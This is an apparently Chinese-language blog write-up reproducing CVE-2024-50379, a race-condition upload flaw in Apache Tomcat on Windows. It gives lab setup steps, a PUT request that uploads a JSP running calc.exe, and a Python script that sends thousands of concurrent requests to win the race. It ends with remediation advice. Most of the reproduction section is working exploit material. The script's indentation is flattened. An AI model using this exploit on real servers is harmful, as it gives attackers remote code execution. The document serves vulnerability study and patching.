CVE-2024-50379:Apache Tomcat远程代码执行漏洞

CVE-2024-50379:Apache Tomcat远程代码执行漏洞

HowellFeng

2025-02-10 发布12 浏览 · 1 点赞 · 0 收藏

0x01 简介

Apache Tomcat是一个开源的Java Servlet容器,广泛用于运行Java Web应用程序。它实现了Java Servlet和JavaServer Pages (JSP) 技术,提供了一个运行环境来处理HTTP请求、生成动态网页,并支持WebSocket通信。Tomcat以其稳定性、灵活性和易用性而受到开发者的青睐,是开发和部署Java Web应用的重要工具之一。

0x02 漏洞概述

一个严重的远程代码执行 (RCE) 漏洞,影响 Apache Tomcat。该漏洞的 CVSS 评分为 9.8,属于高危漏洞。漏洞的根本原因是 Tomcat 在验证文件路径时存在缺陷,特别是在不区分大小写的文件系统(如 Windows)上,当readonly初始化参数被设置为false时,攻击者可以通过条件竞争上传恶意文件并执行远程代码。

影响版本

  • 9.0.0.M1 <= Apache Tomcat < 9.0.98
  • 10.1.0-M1 <= Apache Tomcat < 10.1.34
  • 11.0.0-M1 <= Apache Tomcat < 11.0.2

漏洞详情

  • 漏洞类型:条件竞争文件上传
  • 利用条件:在 Windows 系统下启用 PUT 请求方式,并将conf/web.xml中的 readonly 初始化参数设置为非默认值 false。在负载下并发读取和上传同一文件可以绕过 Tomcat 的大小写检查,导致上传的文件被错误地当作 JSP 文件处理,从而导致远程代码执行。
  • 危害描述:该漏洞允许攻击者在特定条件下绕过 Tomcat 的大小写检查,上传恶意文件并执行远程代码,可能导致服务器被完全控制,数据泄露或服务中断。

0x03 环境搭建

  1. 最好安装配置一台win的虚拟机,将内核和内存都尽可能调小(提升复现成功率
  2. Java Downloads | Oracle 中国上下载JAVA 8(一定要下载JAVA 8,这个版本的JAVA复现成功率最高java-8.png
  3. Apache-Tomcat中下载漏洞范围版本
  4. 配置环境变量
    1. JAVA_HOME JAVA_HOME.png
    2. %JAVA_HOME%\binJAVA_HOME_BIN.png
    3. CATALINA_BASECATALINA.png
  5. 查看conf/web.xml的配置,检查readonly的参数是否为flase,如果不是就进行如下配置,注意是default servlet(大部分版本是要自己手动去添加这个参数,在漏洞版本凡是不用手动添加的,基本默认都是false)
<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>
  1. 启动Tomcat(乱码问题不大,web.xml改一下GBK就没问题了,使用虚拟机的IPv4地址访问8080端口)launch-tomcat.pngtomcat-9.0.97.png

0x04 漏洞复现

复现步骤
  1. 开启浏览器代理,使用Yakit抓包yakit-bp.png
  2. 利用POC发包(三个包同时发送!!!
    1. 第一个包 bp-1.png
    2. 第二个包 bp-2.png
    3. 第三个包 bp-3.png
    4. 有时只用Yakit进行发包就能成功,有时不行,所以为了提升成功率,写一个python脚本和Yakit一起运行,对Tomcat进行发包 python-POC.png
  3. 返回状态码是201代表上传成功,可以去webapps/ROOT目录看到;再次重放请求的时候就是204的状态码了  说明文件已经存在 POC-File.png
  4. 成功!!! success.jpg
POC
PUT /test.Jsp HTTP/1.1
Host: 192.168.235.131:8080

<% Runtime.getRuntime().exec("calc.exe");%>
Python 脚本
import asyncio  
import aiohttp  
  
async def send_request(session, method, url, data=None):  
try:  
async with session.request(method, url, data=data) as response:  
print(f"Request to {url} completed with status {response.status}")  
return await response.text()  
except Exception as e:  
print(f"Request to {url} failed: {e}")  
return None  
  
async def main():  
async with aiohttp.ClientSession() as session:  
tasks = []  
for _ in range(10000): # 循环100次  
tasks.append(send_request(session, 'PUT', 'http://192.168.235.131:8080/evil.Jsp', data='<% Runtime.getRuntime().exec("calc.exe");%>'))  
tasks.append(send_request(session, 'PUT', 'http://192.168.235.131:8080/test.Jsp', data='<% Runtime.getRuntime().exec("calc.exe");%>'))  
tasks.append(send_request(session, 'GET', 'http://192.168.235.131:8080/evil.jsp'))  
  
# 并发执行所有任务  
responses = await asyncio.gather(*tasks)  
  
# 打印部分响应结果(可选)  
for i, response in enumerate(responses):  
if response:  
print(f"Response {i+1}: {response[:100]}...")  
  
# 运行主函数  
asyncio.run(main())

0x05 修复建议

  1. 配置调整
    • 在不影响业务的前提下将conf/web.xml文件中的readonly参数设置为true或直接注释该参数readonly-true.png
    • 禁用 PUT 方法并重启 Tomcat 服务以启用新的配置
  2. 升级版本:升级Tomcat版本为非漏洞版本范围

0x06 参考文档

  1. Tomcat CVE-2024-50379 / CVE-2024-56337 条件竞争漏洞分析 - 先知社区
  2. Apache Tomcat 最新RCE 稳定复现+分析 保姆级!附复现视频+POC
请前往 登录/注册 即可发表您的看法…